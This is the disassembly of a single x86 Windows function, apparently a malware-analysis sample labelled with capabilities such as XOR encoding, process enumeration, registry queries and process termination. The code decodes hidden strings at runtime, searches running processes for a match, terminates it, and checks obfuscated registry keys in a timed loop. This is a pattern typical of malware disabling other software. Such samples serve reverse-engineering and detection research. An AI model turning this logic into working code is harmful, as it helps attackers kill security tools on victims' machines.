Function at 0x404211
Capabilities:
Encode data using xor
Enumerate processes
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2a4
mov eax, dword [0x479060]
xor eax, esp
mov dword [esp + 0x2a0], eax
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ebx
mov byte [esp + 0x12], bl
mov byte [esp + 0x13], bl
mov dword [esp + 0x18], edi
push ebx
push 2
mov dword [esp + 0x28], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
lea eax, [esp + 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x404ae8
jmp 0x404ad3
cmp byte [0x479cc2], 0
jne 0x404308
and dword [esp + 0x188], 0
lea edx, [esp + 0x188]
mov dword [esp + 0x18c], 1
xor esi, esi
mov dword [esp + 0x190], 2
mov dword [esp + 0x194], 3
mov dword [esp + 0x198], 4
mov dword [esp + 0x19c], 5
mov dword [esp + 0x1a0], 6
mov dword [esp + 0x1a4], 7
mov dword [esp + 0x1a8], 8
mov dword [esp + 0x1ac], 9
mov ecx, dword [edx]
mov al, cl
sub al, 0x65
lea edx, [edx + 4]
xor byte [ecx + 0x479cb8], al
inc esi
cmp esi, 0xa
jne 0x4042ec
mov byte [0x479cc2], 1
lea eax, [esp + 0x44]
push 0x479cb8
push eax
call fcn.0044a805
pop ecx
pop ecx
test eax, eax
jne 0x404ad3
push dword [esp + 0x28]
mov byte [esp + 0x16], 1
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x404ad3
test edi, edi
jle 0x404356
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404ad3
push 7
pop esi
xor eax, eax
mov byte [esp + 0x28c], 0
cmp byte [0x479cb0], 0
lea edi, [esp + 0x28d]
mov ecx, esi
mov dword [esp + 0x1c], 0x20
rep stosd dword es:[edi], eax
push 4
stosw word es:[edi], ax
stosb byte es:[edi], al
pop edi
jne 0x4044ad
and dword [esp + 0x1b0], 0
lea edx, [esp + 0x1b0]
mov dword [esp + 0x1cc], esi
xor esi, esi
mov dword [esp + 0x1b4], 1
mov dword [esp + 0x1b8], 2
mov dword [esp + 0x1bc], 3
mov dword [esp + 0x1c0], edi
mov dword [esp + 0x1c4], 5
mov dword [esp + 0x1c8], 6
mov dword [esp + 0x1d0], 8
mov dword [esp + 0x1d4], 9
mov dword [esp + 0x1d8], 0xa
mov dword [esp + 0x1dc], 0xb
mov dword [esp + 0x1e0], 0xc
mov dword [esp + 0x1e4], 0xd
mov dword [esp + 0x1e8], 0xe
mov dword [esp + 0x1ec], 0xf
mov dword [esp + 0x1f0], 0x10
mov dword [esp + 0x1f4], 0x11
mov dword [esp + 0x1f8], 0x12
mov dword [esp + 0x1fc], 0x13
mov dword [esp + 0x200], 0x14
mov dword [esp + 0x204], 0x15
mov dword [esp + 0x208], 0x16
mov dword [esp + 0x20c], 0x17
mov ecx, dword [edx]
mov al, cl
sub al, 0x65
add edx, edi
xor byte [ecx + 0x479c98], al
inc esi
cmp esi, 0x18
jne 0x40448f
push 7
mov byte [0x479cb0], 1
pop esi
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
push 0x479c98
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4045b9
and dword [esp + 0x188], eax
lea edx, [esp + 0x188]
mov dword [esp + 0x1a4], esi
xor esi, esi
mov dword [esp + 0x158], 0xdbc9c8da
mov dword [esp + 0x15c], 0xf1f5f0d2
mov word [esp + 0x160], 0xa3
mov dword [esp + 0x164], 9
mov dword [esp + 0x18c], 1
mov dword [esp + 0x190], 2
mov dword [esp + 0x194], 3
mov dword [esp + 0x198], edi
mov dword [esp + 0x19c], 5
mov dword [esp + 0x1a0], 6
mov dword [esp + 0x1a8], 8
mov ecx, dword [edx]
mov al, cl
sub al, 0x65
add edx, edi
xor byte [esp + ecx + 0x158], al
inc esi
cmp esi, 9
jne 0x40455c
lea eax, [esp + 0x1c]
mov byte [esp + 0x161], 1
push eax
lea eax, [esp + 0x290]
push eax
push 0
push 0
lea eax, [esp + 0x168]
push eax
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [esp + 0x14]
test eax, eax
jne 0x4045af
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x404ab9
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
jmp 0x4045bf
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [0x479c90], 0
jne 0x4046f6
and dword [esp + 0x1b0], 0
lea edx, [esp + 0x1b0]
mov dword [esp + 0x1b4], 1
xor esi, esi
mov dword [esp + 0x1b8], 2
mov dword [esp + 0x1bc], 3
mov dword [esp + 0x1c0], 4
mov dword [esp + 0x1c4], 5
mov dword [esp + 0x1c8], 6
mov dword [esp + 0x1cc], 7
mov dword [esp + 0x1d0], 8
mov dword [esp + 0x1d4], 9
mov dword [esp + 0x1d8], 0xa
mov dword [esp + 0x1dc], 0xb
mov dword [esp + 0x1e0], 0xc
mov dword [esp + 0x1e4], 0xd
mov dword [esp + 0x1e8], 0xe
mov dword [esp + 0x1ec], 0xf
mov dword [esp + 0x1f0], 0x10
mov dword [esp + 0x1f4], 0x11
mov dword [esp + 0x1f8], 0x12
mov dword [esp + 0x1fc], 0x13
mov dword [esp + 0x200], 0x14
mov dword [esp + 0x204], 0x15
mov dword [esp + 0x208], 0x16
mov dword [esp + 0x20c], 0x17
mov ecx, dword [edx]
mov al, cl
sub al, 0x65
lea edx, [edx + 4]
xor byte [ecx + 0x479c78], al
inc esi
cmp esi, 0x18
jne 0x4046da
mov byte [0x479c90], 1
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
push 0x479c78
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4047fc
and dword [esp + 0x188], eax
lea edx, [esp + 0x188]
mov dword [esp + 0x168], 0xdbc9c8da
xor esi, esi
mov dword [esp + 0x16c], 0xf1f5f0d2
mov word [esp + 0x170], 0xa3
mov dword [esp + 0x174], 9
mov dword [esp + 0x18c], 1
mov dword [esp + 0x190], 2
mov dword [esp + 0x194], 3
mov dword [esp + 0x198], 4
mov dword [esp + 0x19c], 5
mov dword [esp + 0x1a0], 6
mov dword [esp + 0x1a4], 7
mov dword [esp + 0x1a8], 8
mov ecx, dword [edx]
mov al, cl
sub al, 0x65
lea edx, [edx + 4]
xor byte [esp + ecx + 0x168], al
inc esi
cmp esi, 9
jne 0x4047ad
lea eax, [esp + 0x1c]
mov byte [esp + 0x171], 1
push eax
lea eax, [esp + 0x290]
push eax
push 0
push 0
lea eax, [esp + 0x178]
push eax
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [esp + 0x14]
test eax, eax
je 0x404ab7
call edi
cmp byte [0x479b98], 0
jne 0x4049b7
and dword [esp + 0x1b0], 0
lea edx, [esp + 0x1b0]
mov dword [esp + 0x1b4], 1
xor esi, esi
mov dword [esp + 0x1b8], 2
mov dword [esp + 0x1bc], 3
mov dword [esp + 0x1c0], 4
mov dword [esp + 0x1c4], 5
mov dword [esp + 0x1c8], 6
mov dword [esp + 0x1cc], 7
mov dword [esp + 0x1d0], 8
mov dword [esp + 0x1d4], 9
mov dword [esp + 0x1d8], 0xa
mov dword [esp + 0x1dc], 0xb
mov dword [esp + 0x1e0], 0xc
mov dword [esp + 0x1e4], 0xd
mov dword [esp + 0x1e8], 0xe
mov dword [esp + 0x1ec], 0xf
mov dword [esp + 0x1f0], 0x10
mov dword [esp + 0x1f4], 0x11
mov dword [esp + 0x1f8], 0x12
mov dword [esp + 0x1fc], 0x13
mov dword [esp + 0x200], 0x14
mov dword [esp + 0x204], 0x15
mov dword [esp + 0x208], 0x16
mov dword [esp + 0x20c], 0x17
mov dword [esp + 0x210], 0x18
mov dword [esp + 0x214], 0x19
mov dword [esp + 0x218], 0x1a
mov dword [esp + 0x21c], 0x1b
mov dword [esp + 0x220], 0x1c
mov dword [esp + 0x224], 0x1d
mov dword [esp + 0x228], 0x1e
mov dword [esp + 0x22c], 0x1f
mov dword [esp + 0x230], 0x20
mov dword [esp + 0x234], 0x21
mov dword [esp + 0x238], 0x22
mov dword [esp + 0x23c], 0x23
mov ecx, dword [edx]
mov al, cl
sub al, 0x65
lea edx, [edx + 4]
xor byte [ecx + 0x479b74], al
inc esi
cmp esi, 0x24
jne 0x40499b
mov byte [0x479b98], 1
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
push 0x479b74
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404acf
and dword [esp + 0x188], eax
lea edx, [esp + 0x188]
mov dword [esp + 0x178], 0xdbc9c8da
xor esi, esi
mov dword [esp + 0x17c], 0xf1f5f0d2
mov word [esp + 0x180], 0xa3
mov dword [esp + 0x184], 9
mov dword [esp + 0x18c], 1
mov dword [esp + 0x190], 2
mov dword [esp + 0x194], 3
mov dword [esp + 0x198], 4
mov dword [esp + 0x19c], 5
mov dword [esp + 0x1a0], 6
mov dword [esp + 0x1a4], 7
mov dword [esp + 0x1a8], 8
mov ecx, dword [edx]
mov al, cl
sub al, 0x65
lea edx, [edx + 4]
xor byte [esp + ecx + 0x178], al
inc esi
cmp esi, 9
jne 0x404a6e
lea eax, [esp + 0x1c]
mov byte [esp + 0x181], 1
push eax
lea eax, [esp + 0x290]
push eax
push 0
push 0
lea eax, [esp + 0x188]
push eax
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [esp + 0x14]
test eax, eax
jne 0x404acd
call edi
xor edi, edi
inc edi
push 0xbb8
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404ad3
call edi
mov edi, dword [esp + 0x18]
lea eax, [esp + 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x40426b
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
cmp byte [esp + 0x12], bl
je 0x4050aa
cmp byte [esp + 0x13], bl
jne 0x4050aa
mov byte [esp + 0x13], 1
lea edx, [esp + 0x28c]
mov dword [esp + 0x14c], 0xd7c2ccd4
mov esi, ebx
mov dword [esp + 0x150], 0xa1f3d1
mov dword [esp + 0x154], 7
mov dword [esp + 0x28c], ebx
mov dword [esp + 0x290], 1
mov dword [esp + 0x294], 2
mov dword [esp + 0x298], 3
mov dword [esp + 0x29c], 4
mov dword [esp + 0x2a0], 5
mov dword [esp + 0x2a4], 6
mov ecx, dword [edx]
mov al, cl
sub al, 0x65
lea edx, [edx + 4]
xor byte [esp + ecx + 0x14c], al
inc esi
cmp esi, 7
jne 0x404b7d
push 1
lea eax, [esp + 0x150]
mov byte [esp + 0x157], 1
push eax
mov ecx, 0x479fa0
call fcn.00402f1a
cmp byte [0x479e1d], bl
jne 0x404e1f
mov dword [esp + 0x1cc], esi
lea edx, [esp + 0x1b0]
mov dword [esp + 0x1b0], ebx
mov esi, ebx
mov dword [esp + 0x1b4], 1
mov dword [esp + 0x1b8], 2
mov dword [esp + 0x1bc], 3
mov dword [esp + 0x1c0], 4
mov dword [esp + 0x1c4], 5
mov dword [esp + 0x1c8], 6
mov dword [esp + 0x1d0], 8
mov dword [esp + 0x1d4], 9
mov dword [esp + 0x1d8], 0xa
mov dword [esp + 0x1dc], 0xb
mov dword [esp + 0x1e0], 0xc
mov dword [esp + 0x1e4], 0xd
mov dword [esp + 0x1e8], 0xe
mov dword [esp + 0x1ec], 0xf
mov dword [esp + 0x1f0], 0x10
mov dword [esp + 0x1f4], 0x11
mov dword [esp + 0x1f8], 0x12
mov dword [esp + 0x1fc], 0x13
mov dword [esp + 0x200], 0x14
mov dword [esp + 0x204], 0x15
mov dword [esp + 0x208], 0x16
mov dword [esp + 0x20c], 0x17
mov dword [esp + 0x210], 0x18
mov dword [esp + 0x214], 0x19
mov dword [esp + 0x218], 0x1a
mov dword [esp + 0x21c], 0x1b
mov dword [esp + 0x220], 0x1c
mov dword [esp + 0x224], 0x1d
mov dword [esp + 0x228], 0x1e
mov dword [esp + 0x22c], 0x1f
mov dword [esp + 0x230], 0x20
mov dword [esp + 0x234], 0x21
mov dword [esp + 0x238], 0x22
mov dword [esp + 0x23c], 0x23
mov dword [esp + 0x240], 0x24
mov dword [esp + 0x244], 0x25
mov dword [esp + 0x248], 0x26
mov dword [esp + 0x24c], 0x27
mov dword [esp + 0x250], 0x28
mov dword [esp + 0x254], 0x29
mov dword [esp + 0x258], 0x2a
mov dword [esp + 0x25c], 0x2b
mov dword [esp + 0x260], 0x2c
mov dword [esp + 0x264], 0x2d
mov dword [esp + 0x268], 0x2e
mov dword [esp + 0x26c], 0x2f
mov dword [esp + 0x270], 0x30
mov dword [esp + 0x274], 0x31
mov dword [esp + 0x278], 0x32
mov dword [esp + 0x27c], 0x33
mov dword [esp + 0x280], 0x34
mov ecx, dword [edx]
mov al, cl
sub al, 0x65
lea edx, [edx + 4]
xor byte [ecx + 0x479de8], al
inc esi
cmp esi, 0x35
jne 0x404e03
mov byte [0x479e1d], 1
push 0x479de8
call fcn.00403ba8
test al, al
jne 0x4050a4
cmp byte [0x479de0], bl
jne 0x40509a
mov dword [esp + 0x1b0], ebx
lea edx, [esp + 0x1b0]
mov dword [esp + 0x1b4], 1
mov esi, ebx
mov dword [esp + 0x1b8], 2
mov dword [esp + 0x1bc], 3
mov dword [esp + 0x1c0], 4
mov dword [esp + 0x1c4], 5
mov dword [esp + 0x1c8], 6
mov dword [esp + 0x1cc], 7
mov dword [esp + 0x1d0], 8
mov dword [esp + 0x1d4], 9
mov dword [esp + 0x1d8], 0xa
mov dword [esp + 0x1dc], 0xb
mov dword [esp + 0x1e0], 0xc
mov dword [esp + 0x1e4], 0xd
mov dword [esp + 0x1e8], 0xe
mov dword [esp + 0x1ec], 0xf
mov dword [esp + 0x1f0], 0x10
mov dword [esp + 0x1f4], 0x11
mov dword [esp + 0x1f8], 0x12
mov dword [esp + 0x1fc], 0x13
mov dword [esp + 0x200], 0x14
mov dword [esp + 0x204], 0x15
mov dword [esp + 0x208], 0x16
mov dword [esp + 0x20c], 0x17
mov dword [esp + 0x210], 0x18
mov dword [esp + 0x214], 0x19
mov dword [esp + 0x218], 0x1a
mov dword [esp + 0x21c], 0x1b
mov dword [esp + 0x220], 0x1c
mov dword [esp + 0x224], 0x1d
mov dword [esp + 0x228], 0x1e
mov dword [esp + 0x22c], 0x1f
mov dword [esp + 0x230], 0x20
mov dword [esp + 0x234], 0x21
mov dword [esp + 0x238], 0x22
mov dword [esp + 0x23c], 0x23
mov dword [esp + 0x240], 0x24
mov dword [esp + 0x244], 0x25
mov dword [esp + 0x248], 0x26
mov dword [esp + 0x24c], 0x27
mov dword [esp + 0x250], 0x28
mov dword [esp + 0x254], 0x29
mov dword [esp + 0x258], 0x2a
mov dword [esp + 0x25c], 0x2b
mov dword [esp + 0x260], 0x2c
mov dword [esp + 0x264], 0x2d
mov dword [esp + 0x268], 0x2e
mov dword [esp + 0x26c], 0x2f
mov dword [esp + 0x270], 0x30
mov dword [esp + 0x274], 0x31
mov dword [esp + 0x278], 0x32
mov dword [esp + 0x27c], 0x33
mov ecx, dword [edx]
mov al, cl
sub al, 0x65
lea edx, [edx + 4]
xor byte [ecx + 0x479dac], al
inc esi
cmp esi, 0x34
jne 0x40507e
mov byte [0x479de0], 1
push 0x479dac
call fcn.00403ba8
mov byte [0x479eb5], bl
test edi, edi
jle 0x4050c6
inc edi
mov dword [esp + 0x18], edi
cmp edi, 0xb4
jge 0x4050d3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40423e
mov ecx, dword [esp + 0x2ac]
pop edi
pop esi
mov byte [0x479eb5], bl
pop ebx
xor ecx, esp
call fcn.004465ce
mov esp, ebp
pop ebp
ret